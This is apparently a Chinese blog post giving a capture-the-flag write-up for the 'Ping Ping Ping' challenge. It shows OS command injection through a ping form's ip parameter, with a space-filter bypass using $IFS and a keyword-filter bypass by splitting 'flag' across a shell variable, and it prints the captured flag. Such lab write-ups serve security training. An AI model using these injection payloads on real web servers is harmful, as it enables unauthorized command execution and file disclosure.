[GXYCTF2019]Ping Ping Ping 1-摩杜云开发者社区

[GXYCTF2019]Ping Ping Ping 1

Fci0IjkbjVRc 2023年11月02日 62 0

PHP

先尝试输入ip=127.0.0.1

发现啥也没有

再次在后面输入ls查看文件

发现有两个文件

[GXYCTF2019]Ping Ping Ping 1_php

Cat一下

[GXYCTF2019]Ping Ping Ping 1_php_02

发现有空格过滤

进行空格绕过$(IFS)（?ip=127.0.0.1;cat$IFS$1flag.php）

[GXYCTF2019]Ping Ping Ping 1_php_03

发现符合也进行了过滤

尝试进行拼接flag

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

PING 127.e.e.1 (127.e.e.1); 56 data bytes $flag - "flag{c4f14a15-67b3-466a-b61e-a93a64719a7a}"; ? < / pre> < /body>

发现flag

上一篇： Disabled_button 下一篇： [ACTF2020 新生赛]Exec 1

最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读

php 开发规范

NT5NRjELxLp1 2024年04月29日 71 0 0 PHP

php购物网站结题报告

iALoCqVB8AGc 2023年12月25日 45 0 0 PHP

快速理解Laravel容器（IOC、DI、Provider、Contract）

yThMa20bw7iV 2024年04月21日 50 0 0 PHP

4.3万字详解PHP+RabbitMQ（AMQP协议、通讯架构、6大模式、交换机队列消息持久化、死信队列、延时队列、消息丢失、重复消费、消息应答、消息应答、发布确认、故障转移、不公平分发、优先级、等）

yThMa20bw7iV 2024年05月04日 55 0 0 PHP

3种策略巧妙化解PHP Trait成员属性冲突

yThMa20bw7iV 2024年02月19日 94 0 0 PHP

遇到跨端开发或多项目开发时，遇到的一些问题探讨，后端开发语言如何选择？

OJ7pFwJ8zmcu 2023年12月28日 27 0 0 PHP

高并发下数据幂等问题的9种解决方案

yThMa20bw7iV 2024年03月23日 41 0 0 PHP

可控概率抽奖算法

yThMa20bw7iV 2024年02月19日 74 0 0 PHP

深入理解PHP+Redis实现分布式锁的相关问题

yThMa20bw7iV 2024年03月23日 80 0 0 PHP

抢红包随机金额算法（均衡随机）

yThMa20bw7iV 2024年02月19日 82 0 0 PHP

从零开始的PHP开发逆天路——语法

Taw9NNZ5dafw 2024年04月17日 60 0 0 PHP

mpdf增加字体并进行使用

iyViKl6W0XQr 2024年05月17日 59 0 0 PHP

tp 中出现unserialize(): Error at offset xxx of xx bytes的解决办法

WCoL3eOK99gf 2023年12月22日 110 0 0 PHP 缓存文件 PHP 缓存文件

laravel学习

NT5NRjELxLp1 2024年03月14日 83 0 0 PHP

深入理解高并发超卖一系列问题与解决方案（近7万字详解，跳槽涨薪必备宝藏珍藏级分享）

yThMa20bw7iV 2024年04月20日 52 0 0 PHP

深入理解PHP+Redis实现布隆过滤器（亿级大数据处理和黑客攻防必备）

yThMa20bw7iV 2024年04月09日 83 0 0 PHP

【迅搜09】索引管理（二）增删改操作

ZeXpBSKPLk5O 2023年12月22日 39 0 0 XS php PHP 数据数据 XS

记录如何用php做一个网站访问计数器的方法

dqNCXWJjGyI7 2024年04月22日 67 0 0 PHP

万字详解PHP+Sphinx中文亿级数据全文检索实战（实测亿级数据0.1秒搜索耗时）

yThMa20bw7iV 2024年03月29日 92 0 0 PHP

Windows phpstudy vscode Xdebug调试无效，无法监听，没有什么效果

WCoL3eOK99gf 2023年12月22日 135 0 0 PHP vscode php bug调试 ide 编辑器编辑器 bug调试 ide vscode

Fci0IjkbjVRc

作者其他文章更多

[极客大挑战 2019]Havefun

2023-11-02

Robots

2023-11-02

weak_auth

2023-11-02

Training-WWW-Robots

2023-11-02

Backup

2023-11-02

vulfocus靶场搭建

2023-11-02

Docker基本命令

2023-11-02

[ACTF2020 新生赛]Exec 1

2023-11-02

[GXYCTF2019]Ping Ping Ping 1

2023-11-02